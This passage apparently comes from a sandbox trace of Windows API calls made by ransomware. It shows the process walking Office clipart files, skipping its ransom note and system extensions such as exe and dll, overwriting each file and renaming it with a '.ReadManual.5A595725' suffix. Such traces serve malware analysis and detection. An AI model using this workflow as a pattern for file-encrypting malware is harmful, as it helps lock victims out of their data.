Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf")) returned 0x20 [0269.178] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.178] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14080) returned 1 [0269.178] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3700, lpName=0x0) returned 0x184 [0269.179] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.179] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.179] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.181] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.181] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3700) returned 0x2f0000 [0269.181] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38985024480) returned 1 [0269.182] CloseHandle (hObject=0x184) returned 1 [0269.182] SetSecurityInfo () returned 0x57 [0269.182] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.182] CloseHandle (hObject=0x194) returned 1 [0269.182] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0269.182] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285462.WMF" | out: lpString1="J0285462.WMF") returned="J0285462.WMF" [0269.182] lstrcmpiW (lpString1="J0285462.WMF", lpString2="RecoveryManual.html") returned -1 [0269.182] StrStrIW (lpFirst="J0285462.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.182] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.182] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.182] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" [0269.182] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ReadManual.5A595725" [0269.182] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ReadManual.5A595725") returned 87 [0269.182] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38985122756) returned 1 [0269.183] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf")) returned 0x20 [0269.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.184] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14474) returned 1 [0269.184] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x388a, lpName=0x0) returned 0x184 [0269.184] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.185] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.185] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.186] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.186] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x388a) returned 0x2f0000 [0269.187] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38985541826) returned 1 [0269.187] CloseHandle (hObject=0x184) returned 1 [0269.187] SetSecurityInfo () returned 0x57 [0269.187] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.187] CloseHandle (hObject=0x194) returned 1 [0269.187] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0269.187] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285484.WMF" | out: lpString1="J0285484.WMF") returned="J0285484.WMF" [0269.187] lstrcmpiW (lpString1="J0285484.WMF", lpString2="RecoveryManual.html") returned -1 [0269.187] StrStrIW (lpFirst="J0285484.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.187] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.187] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.187] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" [0269.188] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ReadManual.5A595725" [0269.188] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ReadManual.5A595725") returned 87 [0269.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38985636609) returned 1 [0269.188] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf")) returned 0x20 [0269.188] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.188] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9280) returned 1 [0269.188] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2440, lpName=0x0) returned 0x184 [0269.188] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.189] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.191] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.191] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2440) returned 0x2f0000 [0269.191] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38986029943) returned 1 [0269.192] CloseHandle (hObject=0x184) returned 1 [0269.192] SetSecurityInfo () returned 0x57 [0269.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.192] CloseHandle (hObject=0x194) returned 1 [0269.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0269.192] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285780.WMF" | out: lpString1="J0285780.WMF") returned="J0285780.WMF" [0269.192] lstrcmpiW (lpString1="J0285780.WMF", lpString2="RecoveryManual.html") returned -1 [0269.192] StrStrIW (lpFirst="J0285780.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.192] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.192] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.192] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" [0269.192] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ReadManual.5A595725" [0269.192] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ReadManual.5A595725") returned 87 [0269.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38986126543) returned 1 [0269.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf")) returned 0x20 [0269.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.193] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31068) returned 1 [0269.193] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x795c, lpName=0x0) returned 0x184 [0269.193] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.195] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x795c) returned 0x2f0000 [0269.196] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.196] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38986481786) returned 1 [0269.196] CloseHandle (hObject=0x184) returned 1 [0269.196] SetSecurityInfo () returned 0x57 [0269.196] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.196] CloseHandle (hObject=0x194) returned 1 [0269.196] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0269.196] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285782.WMF" | out: lpString1="J0285782.WMF") returned="J0285782.WMF" [0269.196] lstrcmpiW (lpString1="J0285782.WMF", lpString2="RecoveryManual.html") returned -1 [0269.196] StrStrIW (lpFirst="J0285782.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.197] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.197] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.197] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" [0269.197] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ReadManual.5A595725" [0269.197] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ReadManual.5A595725") returned 87 [0269.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38986582940) returned 1 [0269.197] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf")) returned 0x20 [0269.198] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21054) returned 1 [0269.198] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x523e, lpName=0x0) returned 0x184 [0269.198] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.199] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.199] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.201] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.201] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x523e) returned 0x2f0000 [0269.201] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38987029301) returned 1 [0269.202] CloseHandle (hObject=0x184) returned 1 [0269.202] SetSecurityInfo () returned 0x57 [0269.202] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.202] CloseHandle (hObject=0x194) returned 1 [0269.202] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0269.202] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285792.WMF" | out: lpString1="J0285792.WMF") returned="J0285792.WMF" [0269.202] lstrcmpiW (lpString1="J0285792.WMF", lpString2="RecoveryManual.html") returned -1 [0269.202] StrStrIW (lpFirst="J0285792.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.202] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.202] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.202] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" [0269.202] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ReadManual.5A595725" [0269.202] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ReadManual.5A595725") returned 87 [0269.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38987126202) returned 1 [0269.203] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf")) returned 0x20 [0269.203] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.203] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11956) returned 1 [0269.203] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2eb4, lpName=0x0) returned 0x184 [0269.203] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.204] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.204] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.205] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.206] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2eb4) returned 0x2f0000 